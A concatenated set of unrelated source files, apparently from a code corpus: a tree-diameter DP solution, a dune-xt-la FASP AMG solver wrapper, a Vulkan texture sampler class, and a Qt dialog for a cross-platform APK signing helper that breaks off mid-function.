dfs1(u,v);
insert(v,u);
}
}
void dfs2(int v,int p){
calcula(v);
for(int u : grafo[v]){
if(u == p) continue;
int copiav_dist[3],copiav_diam[2],copiau_dist[3],copiau_diam[2];
copiav_dist[0] = maior_dist[v][0];copiav_dist[1] = maior_dist[v][1];copiav_dist[2] = maior_dist[v][2];
copiau_dist[0] = maior_dist[u][0];copiau_dist[1] = maior_dist[u][1];copiau_dist[2] = maior_dist[u][2];
copiav_diam[0] = maior_diam[v][0];copiav_diam[1] = maior_diam[v][1];
copiau_diam[0] = maior_diam[u][0];copiau_diam[1] = maior_diam[u][1];
remove(v,u);
ll candidato = 1LL*temporario_diametro[v]*temporario_diametro[u];
melhor_produto = max(melhor_produto,candidato);
insert(u,v);
dfs2(u,v);
maior_dist[v][0] = copiav_dist[0];maior_dist[v][1] = copiav_dist[1];maior_dist[v][2] = copiav_dist[2];
maior_dist[u][0] = copiau_dist[0];maior_dist[u][1] = copiau_dist[1];maior_dist[u][2] = copiau_dist[2];
maior_diam[v][0] = copiav_diam[0];maior_diam[v][1] = copiav_diam[1];
maior_diam[u][0] = copiau_diam[0];maior_diam[u][1] = copiau_diam[1];
calcula(v);
calcula(u);
}
}
int main(){
scanf("%d",&N);
for(int i = 1;i<N;i++){
int u,v;
scanf("%d %d",&u,&v);
grafo[u].push_back(v);
grafo[v].push_back(u);
}
dfs1(1,-1);
//printf("MaiorDiam 1 %d\n",temporario_diametro[1]);
dfs2(1,-1);
printf("%lld\n",melhor_produto);
return 0;
} | 2,870 | 1,517 |
// This file is part of the dune-xt-la project:
// https://github.com/dune-community/dune-xt-la
// Copyright 2009-2018 dune-xt-la developers and contributors. All rights reserved.
// License: Dual licensed as BSD 2-Clause License (http://opensource.org/licenses/BSD-2-Clause)
// or GPL-2.0+ (http://opensource.org/licenses/gpl-license)
// with "runtime exception" (http://www.dune-project.org/license.html)
// Authors:
// Felix Schindler (2013 - 2014, 2016 - 2017)
// Rene Milk (2013, 2015 - 2016, 2018)
// Tobias Leibner (2017)
#ifndef DUNE_XT_LA_SOLVER_FASP_HH
#define DUNE_XT_LA_SOLVER_FASP_HH
#if HAVE_FASP
# if HAVE_EIGEN
extern "C"
{
# include "fasp_functs.h"
}
# include <dune/xt/la/container/eigen.hh>
# include "interface.hh"
namespace Dune {
namespace XT {
namespace LA {
template <class ElementImp>
class AmgSolver<Dune::XT::LA::EigenRowMajorSparseMatrix<ElementImp>, Dune::XT::LA::EigenDenseVector<ElementImp>>
: public SolverInterface<Dune::XT::LA::EigenRowMajorSparseMatrix<ElementImp>,
Dune::XT::LA::EigenDenseVector<ElementImp>>
{
public:
typedef SolverInterface<Dune::XT::LA::EigenRowMajorSparseMatrix<ElementImp>,
Dune::XT::LA::EigenDenseVector<ElementImp>>
BaseType;
typedef typename BaseType::MatrixType MatrixType;
typedef typename BaseType::VectorType VectorType;
typedef typename BaseType::ScalarType ScalarType;
static Dune::ParameterTree defaultSettings()
{
Dune::ParameterTree description = BaseType::defaultIterativeSettings();
// these parameters were taken from the init.dat that Ludmil gave me...
description["input_param.print_level"] = "3";
description["input_param.output_type"] = "0";
description["input_param.workdir"] = "./";
description["input_param.problem_num"] = "14 ";
description["input_param.solver_type"] = "1";
description["input_param.precond_type"] = "2";
description["input_param.stop_type"] = "1";
description["input_param.itsolver_tol"] = "1.000000e-10";
description["input_param.itsolver_maxit"] = "1000";
description["input_param.restart"] = "20";
description["input_param.ILU_type"] = "1";
description["input_param.ILU_lfil"] = "0";
description["input_param.ILU_droptol"] = "1.000000e-01";
description["input_param.ILU_relax"] = "9.000000e-01";
description["input_param.ILU_permtol"] = "1.000000e-03";
description["input_param.Schwarz_mmsize"] = "200";
description["input_param.Schwarz_maxlvl"] = "2";
description["input_param.Schwarz_type"] = "1";
description["input_param.AMG_type"] = "1";
description["input_param.AMG_levels"] = "20";
description["input_param.AMG_cycle_type"] = "1";
description["input_param.AMG_smoother"] = "2";
description["input_param.AMG_relaxation"] = "1.100000e+00";
description["input_param.AMG_polynomial_degree"] = "3";
description["input_param.AMG_presmooth_iter"] = "2";
description["input_param.AMG_postsmooth_iter"] = "2";
description["input_param.AMG_coarse_dof"] = "100";
description["input_param.AMG_tol"] = "1.000000e-08";
description["input_param.AMG_maxit"] = "1";
description["input_param.AMG_ILU_levels"] = "0";
description["input_param.AMG_coarse_scaling"] = "0";
description["input_param.AMG_amli_degree"] = "2";
description["input_param.AMG_nl_amli_krylov_type"] = "6";
description["input_param.AMG_schwarz_levels"] = "0";
description["input_param.AMG_coarsening_type"] = "1";
description["input_param.AMG_interpolation_type"] = "1";
description["input_param.AMG_strong_threshold"] = "3.000000e-01";
description["input_param.AMG_truncation_threshold"] = "4.000000e-01";
description["input_param.AMG_max_row_sum"] = "9.000000e-01";
description["input_param.AMG_strong_coupled"] = "8.000000e-02";
description["input_param.AMG_max_aggregation"] = "20";
description["input_param.AMG_tentative_smooth"] = "6.700000e-01";
description["input_param.AMG_smooth_filter"] = "0";
description["itsolver_param.itsolver_type"] = "1";
description["itsolver_param.precond_type"] = "2";
description["itsolver_param.stop_type"] = "1";
description["itsolver_param.maxit"] = "1000";
description["itsolver_param.tol"] = "1.000000e-10";
description["itsolver_param.restart"] = "20";
description["itsolver_param.print_level"] = "3";
description["AMG_param.AMG_type"] = "1";
description["AMG_param.print_level"] = "3";
description["AMG_param.maxit"] = "1";
description["AMG_param.tol"] = "1.000000e-08";
description["AMG_param.max_levels"] = "20";
description["AMG_param.coarse_dof"] = "100";
description["AMG_param.cycle_type"] = "1";
description["AMG_param.smoother"] = "2";
description["AMG_param.smooth_order"] = "1";
description["AMG_param.presmooth_iter"] = "2";
description["AMG_param.postsmooth_iter"] = "2";
description["AMG_param.relaxation"] = "1.100000e+00";
description["AMG_param.polynomial_degree"] = "3";
description["AMG_param.coarse_scaling"] = "0";
description["AMG_param.amli_degree"] = "2";
description["AMG_param.amli_coef"] = "1.100000e+00";
description["AMG_param.nl_amli_krylov_type"] = "6";
description["AMG_param.coarsening_type"] = "1";
description["AMG_param.interpolation_type"] = "1";
description["AMG_param.strong_threshold"] = "3.000000e-01";
description["AMG_param.max_row_sum"] = "9.000000e-01";
description["AMG_param.truncation_threshold"] = "4.000000e-01";
description["AMG_param.strong_coupled"] = "8.000000e-02";
description["AMG_param.max_aggregation"] = "20";
description["AMG_param.tentative_smooth"] = "6.700000e-01";
description["AMG_param.smooth_filter"] = "0";
description["AMG_param.ILU_levels"] = "0";
description["AMG_param.ILU_type"] = "1";
description["AMG_param.ILU_lfil"] = "0";
description["AMG_param.ILU_droptol"] = "1.000000e-01";
description["AMG_param.ILU_relax"] = "9.000000e-01";
description["AMG_param.ILU_permtol"] = "1.000000e-03";
description["AMG_param.schwarz_levels"] = "0";
description["AMG_param.schwarz_mmsize"] = "200";
description["AMG_param.schwarz_maxlvl"] = "2";
description["AMG_param.schwarz_type"] = "1";
description["ILU_param.print_level"] = "3";
description["ILU_param.ILU_type"] = "1";
description["ILU_param.ILU_lfil"] = "0";
description["ILU_param.ILU_droptol"] = "1.000000e-01";
description["ILU_param.ILU_relax"] = "9.000000e-01";
description["ILU_param.ILU_permtol"] = "1.000000e-03";
description["Schwarz_param.print_level"] = "3";
description["Schwarz_param.schwarz_type"] = "1";
description["Schwarz_param.schwarz_maxlvl"] = "2";
description["Schwarz_param.schwarz_mmsize"] = "200";
return description;
} // Dune::ParameterTree defaultSettings()
/**
* \attention There is a const_cast inside, in order to forward non-const pointers to fasp. I hope they do not
* touch the matrix, but who knows...
*/
virtual size_t apply(const MatrixType& _systemMatrix,
const VectorType& _rhsVector,
VectorType& solutionVector,
const Dune::ParameterTree description = defaultSettings()) const
{
const size_t maxIter = description.get<size_t>("maxIter");
const ScalarType precision = description.get<ScalarType>("precision");
// init system matrix and right hand side
MatrixType& systemMatrix = const_cast<MatrixType&>(_systemMatrix);
VectorType& rhsVector = const_cast<VectorType&>(_rhsVector);
dCSRmat A;
A.row = systemMatrix.rows();
A.col = systemMatrix.cols();
A.nnz = systemMatrix.backend().nonZeros();
A.IA = systemMatrix.backend().outerIndexPtr();
A.JA = systemMatrix.backend().innerIndexPtr();
A.val = systemMatrix.backend().valuePtr();
dvector f, x;
f.row = rhsVector.size();
f.val = rhsVector.backend().data();
x.row = rhsVector.backend().rows();
x.val = solutionVector.backend().data();
// init parameters
input_param inparam = initInputParams(maxIter, precision, description);
itsolver_param itparam = initItsolverParams(maxIter, precision, description);
AMG_param amgparam = initAMGParams(1, precision, description); // the 1 is on purpose!
ILU_param iluparam = initIluParams(maxIter, precision, description);
Schwarz_param swzparam = initSchwarzParams(maxIter, precision, description);
// call fasp (this is taken from the fasp example test)
int status = -1;
// Preconditioned Krylov methods
if (inparam.solver_type >= 1 && inparam.solver_type <= 20) {
// Using no preconditioner for Krylov iterative methods
if (inparam.precond_type == PREC_NULL) {
status = fasp_solver_dcsr_krylov(&A, &f, &x, &itparam);
}
// Using diag(A) as preconditioner for Krylov iterative methods
else if (inparam.precond_type == PREC_DIAG) {
status = fasp_solver_dcsr_krylov_diag(&A, &f, &x, &itparam);
}
// Using AMG as preconditioner for Krylov iterative methods
else if (inparam.precond_type == PREC_AMG || inparam.precond_type == PREC_FMG) {
if (inparam.print_level > PRINT_NONE)
fasp_param_amg_print(&amgparam);
status = fasp_solver_dcsr_krylov_amg(&A, &f, &x, &itparam, &amgparam);
}
// Using ILU as preconditioner for Krylov iterative methods Q: Need to change!
else if (inparam.precond_type == PREC_ILU) {
if (inparam.print_level > PRINT_NONE)
fasp_param_ilu_print(&iluparam);
status = fasp_solver_dcsr_krylov_ilu(&A, &f, &x, &itparam, &iluparam);
}
// Using Schwarz as preconditioner for Krylov iterative methods
else if (inparam.precond_type == PREC_SCHWARZ) {
if (inparam.print_level > PRINT_NONE)
fasp_param_schwarz_print(&swzparam);
status = fasp_solver_dcsr_krylov_schwarz(&A, &f, &x, &itparam, &swzparam);
} else {
printf("### ERROR: Wrong preconditioner type %d!!!\n", inparam.precond_type);
status = ERROR_SOLVER_PRECTYPE;
}
}
// AMG as the iterative solver
else if (inparam.solver_type == SOLVER_AMG) {
if (inparam.print_level > PRINT_NONE)
fasp_param_amg_print(&amgparam);
fasp_solver_amg(&A, &f, &x, &amgparam);
}
// Full AMG as the iterative solver
else if (inparam.solver_type == SOLVER_FMG) {
if (inparam.print_level > PRINT_NONE)
fasp_param_amg_print(&amgparam);
fasp_solver_famg(&A, &f, &x, &amgparam);
} else {
DUNE_THROW(Dune::RangeError, "### ERROR: Wrong solver type: " << inparam.solver_type << "!");
status = ERROR_SOLVER_TYPE;
}
if (status > 0)
return 0;
else
return 3;
} // ... apply(...)
private:
input_param
initInputParams(const size_t& maxIter, const ScalarType& precision, const Dune::ParameterTree& description) const
{
input_param inputParam;
inputParam.print_level = description.get<int>("input_param.print_level", 0);
inputParam.output_type = description.get<int>("input_param.output_type", 0);
// inputParam.workdir = description.get< char >("input_param.workdir", '.');
inputParam.problem_num = 14;
inputParam.solver_type = description.get<int>("input_param.solver_type", 1);
inputParam.precond_type = description.get<int>("input_param.precond_type", 2);
inputParam.stop_type = description.get<int>("input_param.stop_type", 1);
inputParam.itsolver_tol = precision;
inputParam.itsolver_maxit = maxIter;
inputParam.restart = description.get<int>("input_param.restart", 20);
inputParam.ILU_type = description.get<int>("input_param.ILU_type", 1);
inputParam.ILU_lfil = description.get<int>("input_param.ILU_lfil", 0);
inputParam.ILU_droptol = description.get<double>("input_param.ILU_droptol", 1.000000e-01);
inputParam.ILU_relax = description.get<double>("input_param.ILU_relax", 9.000000e-01);
inputParam.ILU_permtol = description.get<double>("input_param.ILU_permtol", 1.000000e-03);
inputParam.Schwarz_mmsize = description.get<int>("input_param.Schwarz_mmsize", 200);
inputParam.Schwarz_maxlvl = description.get<int>("input_param.Schwarz_maxlvl", 2);
inputParam.Schwarz_type = description.get<int>("input_param.Schwarz_type", 1);
inputParam.AMG_type = description.get<int>("input_param.AMG_type", 1);
inputParam.AMG_levels = description.get<int>("input_param.AMG_levels", 20);
inputParam.AMG_cycle_type = description.get<int>("input_param.AMG_cycle_type", 1);
inputParam.AMG_smoother = description.get<int>("input_param.AMG_smoother", 2);
inputParam.AMG_relaxation = description.get<double>("input_param.AMG_relaxation", 1.100000e+00);
inputParam.AMG_polynomial_degree = description.get<int>("input_param.AMG_polynomial_degree", 3);
inputParam.AMG_presmooth_iter = description.get<int>("input_param.AMG_presmooth_iter", 2);
inputParam.AMG_postsmooth_iter = description.get<int>("input_param.AMG_postsmooth_iter", 2);
inputParam.AMG_coarse_dof = description.get<int>("input_param.AMG_coarse_dof", 100);
inputParam.AMG_tol = description.get<double>("input_param.AMG_tol", 1.000000e-08);
inputParam.AMG_maxit = description.get<int>("input_param.AMG_maxit", 1);
inputParam.AMG_ILU_levels = description.get<int>("input_param.AMG_ILU_levels", 0);
inputParam.AMG_coarse_scaling = description.get<int>("input_param.AMG_coarse_scaling", 0);
inputParam.AMG_amli_degree = description.get<int>("input_param.AMG_amli_degree", 2);
inputParam.AMG_nl_amli_krylov_type = description.get<int>("input_param.AMG_nl_amli_krylov_type", 6);
inputParam.AMG_schwarz_levels = description.get<int>("input_param.AMG_schwarz_levels", 0);
inputParam.AMG_coarsening_type = description.get<int>("input_param.AMG_coarsening_type", 1);
inputParam.AMG_interpolation_type = description.get<int>("input_param.AMG_interpolation_type", 1);
inputParam.AMG_strong_threshold = description.get<double>("input_param.AMG_strong_threshold", 3.000000e-01);
inputParam.AMG_truncation_threshold = description.get<double>("input_param.AMG_truncation_threshold", 4.000000e-01);
inputParam.AMG_max_row_sum = description.get<double>("input_param.AMG_max_row_sum", 9.000000e-01);
inputParam.AMG_strong_coupled = description.get<double>("input_param.AMG_strong_coupled", 8.000000e-02);
inputParam.AMG_max_aggregation = description.get<int>("input_param.AMG_max_aggregation", 20);
inputParam.AMG_tentative_smooth = description.get<double>("input_param.AMG_tentative_smooth", 6.700000e-01);
inputParam.AMG_smooth_filter = description.get<int>("input_param.AMG_smooth_filter", 0);
return inputParam;
} // ... initInputParams(...)
itsolver_param
initItsolverParams(const size_t& maxIter, const ScalarType& precision, const Dune::ParameterTree& description) const
{
itsolver_param itsolverParams;
itsolverParams.itsolver_type = description.get<int>("itsolver_param.itsolver_type", 1);
itsolverParams.precond_type = description.get<int>("itsolver_param.precond_type", 2);
itsolverParams.stop_type = description.get<int>("itsolver_param.stop_type", 1);
itsolverParams.maxit = maxIter;
itsolverParams.tol = precision;
itsolverParams.restart = description.get<int>("itsolver_param.restart", 20);
itsolverParams.print_level = description.get<int>("itsolver_param.print_level", 0);
return itsolverParams;
} // ... initItsolverParams(...)
AMG_param
initAMGParams(const size_t& maxIter, const ScalarType& precision, const Dune::ParameterTree& description) const
{
AMG_param amgParams;
amgParams.AMG_type = description.get<int>("AMG_param.AMG_type", 1);
amgParams.print_level = description.get<int>("AMG_param.print_level", 0);
amgParams.maxit = maxIter;
amgParams.tol = precision;
amgParams.max_levels = description.get<int>("AMG_param.max_levels", 20);
amgParams.coarse_dof = description.get<int>("AMG_param.coarse_dof", 100);
amgParams.cycle_type = description.get<int>("AMG_param.cycle_type", 1);
amgParams.smoother = description.get<int>("AMG_param.smoother", 2);
amgParams.smooth_order = description.get<int>("AMG_param.smooth_order", 1);
amgParams.presmooth_iter = description.get<int>("AMG_param.presmooth_iter", 2);
amgParams.postsmooth_iter = description.get<int>("AMG_param.postsmooth_iter", 2);
amgParams.relaxation = description.get<double>("AMG_param.relaxation", 1.1);
amgParams.polynomial_degree = description.get<int>("AMG_param.polynomial_degree", 3);
amgParams.coarse_scaling = description.get<int>("AMG_param.coarse_scaling", 0);
amgParams.amli_degree = description.get<int>("AMG_param.amli_degree", 2);
double tmp = description.get<double>("AMG_param.amli_coef", 1.1);
amgParams.amli_coef = &tmp;
amgParams.nl_amli_krylov_type = description.get<int>("AMG_param.nl_amli_krylov_type", 6);
amgParams.coarsening_type = description.get<int>("AMG_param.coarsening_type", 1);
amgParams.interpolation_type = description.get<int>("AMG_param.interpolation_type", 1);
amgParams.strong_threshold = description.get<double>("AMG_param.strong_threshold", 3.e-1);
amgParams.max_row_sum = description.get<double>("AMG_param.max_row_sum", 9.0e-1);
amgParams.truncation_threshold = description.get<double>("AMG_param.truncation_threshold", 1.0e-1);
amgParams.strong_coupled = description.get<double>("AMG_param.strong_coupled", 8.0e-2);
amgParams.max_aggregation = description.get<int>("AMG_param.max_aggregation", 20);
amgParams.tentative_smooth = description.get<double>("AMG_param.tentative_smooth", 6.7e-1);
amgParams.smooth_filter = description.get<int>("AMG_param.smooth_filter", 0);
amgParams.ILU_levels = description.get<int>("AMG_param.ILU_levels", 0);
amgParams.ILU_type = description.get<int>("AMG_param.ILU_type", 1);
amgParams.ILU_lfil = description.get<int>("AMG_param.ILU_lfil", 0);
amgParams.ILU_droptol = description.get<double>("AMG_param.ILU_droptol", 1.0e-1);
amgParams.ILU_relax = description.get<double>("AMG_param.ILU_relax", 9.0e-1);
amgParams.ILU_permtol = description.get<double>("AMG_param.ILU_permtol", 1.0e-3);
amgParams.schwarz_levels = description.get<int>("AMG_param.schwarz_levels", 0);
amgParams.schwarz_mmsize = description.get<int>("AMG_param.schwarz_mmsize", 200);
amgParams.schwarz_maxlvl = description.get<int>("AMG_param.schwarz_maxlvl", 2);
amgParams.schwarz_type = description.get<int>("AMG_param.schwarz_type", 1);
return amgParams;
} // ... initAMGParams(...)
ILU_param initIluParams(const size_t& /*maxIter*/,
const ScalarType& /*precision*/,
const Dune::ParameterTree& description) const
{
ILU_param iluParams;
iluParams.print_level = description.get<int>("ILU_param.print_level", 0);
iluParams.ILU_type = description.get<int>("ILU_param.ILU_type", 1);
iluParams.ILU_lfil = description.get<int>("ILU_param.ILU_lfil", 0);
iluParams.ILU_droptol = description.get<double>("ILU_param.ILU_droptol", 1.0e-1);
iluParams.ILU_relax = description.get<double>("ILU_param.ILU_relax", 9.0e-1);
iluParams.ILU_permtol = description.get<double>("ILU_param.ILU_permtol", 1.0e-3);
return iluParams;
} // ... initIluParams(...)
Schwarz_param initSchwarzParams(const size_t& /*maxIter*/,
const ScalarType& /*precision*/,
const Dune::ParameterTree& description) const
{
Schwarz_param schwarzParams;
schwarzParams.print_level = description.get<int>("schwarzParams.print_level", 0);
schwarzParams.schwarz_type = description.get<int>("schwarzParams.schwarz_type", 1);
schwarzParams.schwarz_maxlvl = description.get<int>("schwarzParams.schwarz_maxlvl", 2);
schwarzParams.schwarz_mmsize = description.get<int>("schwarzParams.schwarz_mmsize", 200);
return schwarzParams;
} // ... initSchwarzParams(...)
}; // class AmgSolver
} // namespace LA
} // namespace XT
} // namespace Dune
# endif // HAVE_EIGEN
#endif // HAVE_FASP
#endif // DUNE_XT_LA_SOLVER_FASP_HH
| 20,328 | 7,801 |
#include "texture_sampler.hpp"
#include "utils.hpp"
namespace my_vulkan
{
texture_sampler_t::texture_sampler_t(VkDevice device, filter_mode_t filter_mode)
: _device{device}
{
VkFilter filter;
switch(filter_mode)
{
case filter_mode_t::linear:
filter = VK_FILTER_LINEAR;
break;
case filter_mode_t::nearest:
filter = VK_FILTER_NEAREST;
break;
case filter_mode_t::cubic:
filter = VK_FILTER_CUBIC_IMG;
break;
}
VkSamplerCreateInfo samplerInfo = {};
samplerInfo.sType = VK_STRUCTURE_TYPE_SAMPLER_CREATE_INFO;
samplerInfo.pNext = 0;
samplerInfo.flags = 0;
samplerInfo.magFilter = filter;
samplerInfo.minFilter = filter;
samplerInfo.addressModeU = VK_SAMPLER_ADDRESS_MODE_CLAMP_TO_EDGE;
samplerInfo.addressModeV = VK_SAMPLER_ADDRESS_MODE_CLAMP_TO_EDGE;
samplerInfo.addressModeW = VK_SAMPLER_ADDRESS_MODE_CLAMP_TO_EDGE;
samplerInfo.anisotropyEnable = VK_TRUE;
samplerInfo.maxAnisotropy = 16;
samplerInfo.borderColor = VK_BORDER_COLOR_INT_OPAQUE_BLACK;
samplerInfo.unnormalizedCoordinates = VK_FALSE;
samplerInfo.compareEnable = VK_FALSE;
samplerInfo.compareOp = VK_COMPARE_OP_ALWAYS;
samplerInfo.mipmapMode = VK_SAMPLER_MIPMAP_MODE_LINEAR;
vk_require(
vkCreateSampler(device, &samplerInfo, nullptr, &_sampler),
"creating texture sampler"
);
}
texture_sampler_t::texture_sampler_t(texture_sampler_t&& other) noexcept
: _device{0}
{
*this = std::move(other);
}
texture_sampler_t& texture_sampler_t::operator=(texture_sampler_t&& other) noexcept
{
cleanup();
_sampler = other._sampler;
std::swap(_device, other._device);
return *this;
}
texture_sampler_t::~texture_sampler_t()
{
cleanup();
}
void texture_sampler_t::cleanup()
{
if (_device)
{
vkDestroySampler(_device, _sampler, nullptr);
_device = 0;
}
}
VkSampler texture_sampler_t::get()
{
return _sampler;
}
}
| 2,277 | 801 |
//#pragma once
//#pragma execution_character_set("utf-8")
//#pragma warning (disable:4819)
#include "dialog.h"
#include "ui_dialog.h"
#include <QMessageBox>
#include <QProcess>
#include <QDir>
#include <string>
#include <iostream>
#include <QUrl>
#include <QTextBlock>
#include <QTextCursor>
#include <QFileDialog>
#include "mythread.h"
using namespace std;
#ifdef _WIN32
#define FileSeparator "/"
#else
#define FileSeparator "/"
#endif
QString fixpath(QString input)
{
//C:\Users\ADMINI~1\AppData\Local\Temp\tmp/temp/smali_classes2
#ifdef _WIN32
return input.replace("/",FileSeparator);
#else
return input.replace("\\",FileSeparator);
#endif
}
Dialog::Dialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::Dialog)
{
ui->setupUi(this);
setWindowFlags(windowFlags() |Qt::WindowMinimizeButtonHint| Qt::WindowMaximizeButtonHint);//添加最大化按钮
setWindowTitle(QString::fromLocal8Bit("APK多平台快速签名助手"));
//Qt自适应窗口大小需要使用布局管理器:一个是控件的SizePolicy属性设置,二是一定要设置顶级布局。
ui->textEdit->setAcceptDrops(false);//禁止textedit的默认拖拽
//支持拖放
setAcceptDrops(true);//https://github.com/leichaojian/qt/blob/master/drop/mainwindow.cpp
connect(ui->pushButton_signapk,SIGNAL(clicked()),this,SLOT(OnSignAPK()));
connect(ui->pushButton_verify_signature,SIGNAL(clicked()),this,SLOT(OnVerifySignature()));
connect(ui->pushButton_clearLog,SIGNAL(clicked()),this,SLOT(OnClearLog()));
connect(ui->pushButton_selectapk,SIGNAL(clicked()),this,SLOT(OnSelectAPK()));
connect(this,SIGNAL(OnMsgSignal(int,QString)),SLOT(OnDoMsgSignal(int,QString)));
#ifndef _WIN32
ui->groupBox->setTitle(QString::fromLocal8Bit("Drag APK to come in to sign, put the key.pem and key.pk8 in the current directory can switch signature! Support multi APK! Support window and linux!"));
ui->pushButton_clearLog->setText("clearLog");
ui->pushButton_exit->setText("exit");
ui->pushButton_signapk->setText("sign apk");
ui->pushButton_verify_signature->setText("verify signature");
#endif
//信号槽机制需要注册元数据
qRegisterMetaType<QTextBlock>("QTextBlock");
qRegisterMetaType<QTextCursor>("QTextCursor");
//检查java环境
QProcess process;
process.start("java");
process.waitForFinished();
QByteArray all=process.readAllStandardError();
if(all.isEmpty())
{
all=process.readAllStandardOutput();
if(all.isEmpty())
{
all=process.readAllStandardError();
}
}
string result=string(all.data());
cout<<result<<endl;
if(result.empty() || result.length()<2)
{
qDebug()<<QString(all)<<endl;
#ifdef _WIN32
QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("没有检测到java环境!请下载jdk并配置环境变量JAVA_HOME等!"));
#else
QMessageBox::information(this, QString::fromLocal8Bit("提示"),
QString::fromLocal8Bit("Not detected in the Java environment! Please download JDK and configure the environment variable JAVA_HOME!"));
#endif
close();
exit(0);
}
}
Dialog::~Dialog()
{
delete ui;
}
void Dialog::OnDoMsgSignal(int msgType,QString line)
{
switch (msgType) {
case 0:
ui->textEdit->append(line);
break;
case 1:
QMessageBox::information(this, QString::fromLocal8Bit("提示"), line);
break;
default:
break;
}
// this->repaint();
}
void Dialog::dragEnterEvent(QDragEnterEvent *event)
{
// QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("dragEnterEvent"));
//如果为文件,则支持拖放
if (event->mimeData()->hasFormat("text/uri-list"))
event->acceptProposedAction();
}
QString GetCorrectInput(const QString & szInput)
{
// 为了解决传入参数中有空格的问题
QString szDest = szInput;
// 判断是否有空格
if(szDest.indexOf(' ') < 0)
{
// 没有空格
return szDest;
}
// 有空格,用转义符处理 //添加双引号
szDest="\""+szInput+"\"";
return szDest;
}
void Dialog::dropEvent(QDropEvent *event)
{
// QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("dropEvent"));
//注意:这里如果有多文件存在,意思是用户一下子拖动了多个文件,而不是拖动一个目录
//如果想读取整个目录,则在不同的操作平台下,自己编写函数实现读取整个目录文件名
QList<QUrl> urls = event->mimeData()->urls();
if(urls.isEmpty())
return;
bool isDoClear=true;
//往文本框中追加文件名
foreach(QUrl url, urls) {
QString filename = url.toLocalFile();
if(filename.endsWith(".apk",Qt::CaseInsensitive) ||filename.endsWith(".jar",Qt::CaseInsensitive))
{
if(isDoClear)
{
//清除上轮数据
fileList.clear();
isDoClear=false;
}
ui->textEdit->append(filename);
fileList.append(filename);
}else{
qDebug()<<"忽略:"<<filename<<endl;
}
}
if(fileList.size()>0)
{
//OnSignAPK();
MyThread* mythread=new MyThread(this);
mythread->start();
}
}
/**
* @brief FuncModuleWin::copyFile
* @param fromFIleName 优盘里面的文件
* @param toFileName 拷贝到/bin里面的启动文件
* @return
*/
bool copyFileFromRes(const QString& resName, const QString &toFileName)
{
char* byteTemp = new char[4096];//字节数组
int fileSize = 0;
int totalCopySize = 0;
QFile tofile;
tofile.setFileName(toFileName);
if(!tofile.open(QIODevice::ReadWrite|QIODevice::Truncate))
{
qDebug() << "open tofile failed!!!";
return false;
}
QDataStream out(&tofile);
QFile fromfile(resName);
if(!fromfile.open(QIODevice::ReadOnly)){
qDebug() << "open fromfile failed!!!";
return false;
}
fileSize = fromfile.size();
QDataStream in(&fromfile);
while(!in.atEnd())
{
int readSize = 0;
//读入字节数组,返回读取的字节数量,如果小于4096,则到了文件尾
readSize = in.readRawData(byteTemp, 4096);
out.writeRawData(byteTemp, readSize);
totalCopySize += readSize;
}
// 关闭文本流:
fromfile.flush();
tofile.flush();
tofile.close();
fromfile.close();
if(totalCopySize == fileSize){
tofile.setPermissions(QFile::ExeUser);
return true;
}
else
return false;
}
//大部分在子线程中操作
void Dialog::OnSignAPK()
{
//QMessageBox::information(this, QString::fromLocal8Bit("提示"), QString::fromLocal8Bit("OnSignAPK"));
foreach(QString apkpath, fileList) {
QString apkpath_abs=GetCorrectInput(apkpath);
//查看apk签名 jarsigner -verify -verbose -certs baidusdk.apk
QString cmd="jarsigner -verify -verbose -certs "+apkpath_abs;
qDebug()<<cmd<<endl;
QProcess process;
process.start(cmd);
process.waitForFinished();
QByteArray all=process.readAll();
if(all.isEmpty())
{
all=process.readAllStandardOutput();
if(all.isEmpty())
{
all=process.readAllStandardError();
}
}
process.close();
QString result=QString::fromLocal8Bit(all.data());
qDebug()<<"result="<<result<<endl;
if(result.indexOf("CertPath")!=-1)
{
#ifdef _WIN32
QString ret=apkpath+ QString::fromLocal8Bit(" 已经签名!");
#else
QString ret=apkpath+ QString::fromLocal8Bit(" Already signed!");
#endif
emit OnMsgSignal(1,ret);
continue ;
}
//签名apk
QString tmpDir = QDir::tempPath()+FileSeparator+"sign";
QDir(tmpDir).mkdir(tmpDir);
QString signapk_jar_path =tmpDir+FileSeparator+"signapk.jar";
QString key_pem_path =tmpDir+FileSeparator+"key.pem";
QString key_pk8_path =tmpDir+FileSeparator+"key.pk8";
//1、先获取资源文件的signapk.jar
if(!QFile::exists(signapk_jar_path))
{
bool ret=copyFileFromRes(":/sign/res/signapk.jar",signapk_jar_path);
qDebug()<<"signapk_jar_path="<<ret<<endl;
}
if(!QFile::exists(key_pem_path))
{
bool ret=copyFileFromRes(":/sign/res/key.pem",key_pem_path);
qDebug()<<"key_pem_path="<<ret<<endl;
}
if(!QFile::exists(key_pk8_path))
{
bool ret=copyFileFromRes(":/sign/res/key.pk8",key_pk8_path);
qDebug()<<"key_pk8_path="<<ret<<endl;
}
qDebug()<<"tmpDir="<<tmpDir<<endl;
QString outputapk_path=QString(apkpath).replace(".apk","_sign.apk");
if(apkpath.endsWith(".jar"))
{
outputapk_path=QString(apkpath).replace(".jar","_sign.jar");
}
//获取当前目录
QString currentDir = QDir::currentPath();
//手动切换当前目录下的签名:
QString currentDir_key_pk8=currentDir+FileSeparator+"key.pk8";
QString currentDir_key_pem=currentDir+FileSeparator+"key.pem";
if(QFile::exists(currentDir_key_pk8))
{
key_pk8_path=currentDir_key_pk8;
#ifdef _WIN32
emit OnMsgSignal(0,QString::fromLocal8Bit("使用当前目录签名:"));
#else
emit OnMsgSignal(0,QString::fromLocal8Bit(" Using the current directory signature:"));
#endif
emit OnMsgSignal(0,key_pk8_path);
}
if(QFile::exists(currentDir_key_pem))
{
key_pem_path=currentDir_key_pem;
#ifdef _WIN32
emit OnMsgSignal(0,QString::fromLocal8Bit("使用当前目录签名:"));
#else
emit OnMsgSignal(0,QString::fromLocal8Bit(" Using the current directory signature:"));
#endif
emit OnMsgSignal(0,key_pem_path);
}
cmd="java -jar "+GetCorrectInput(signapk_jar_path)+" "+GetCorrectInput(key_pem_path)+" "+GetCorrectInput(key_pk8_path)
+" "+apkpath_abs+" "+GetCorrectInput(outputapk_path);
qDebug()<<cmd<<endl;
QProcess process_java;
process_java.start(cmd);
process_java.waitForStarted();
process_java.waitForFinished(-1);//30000ms= 30s //If msecs is -1, this function will not time out.
if(QFile::exists(outputapk_path))
{
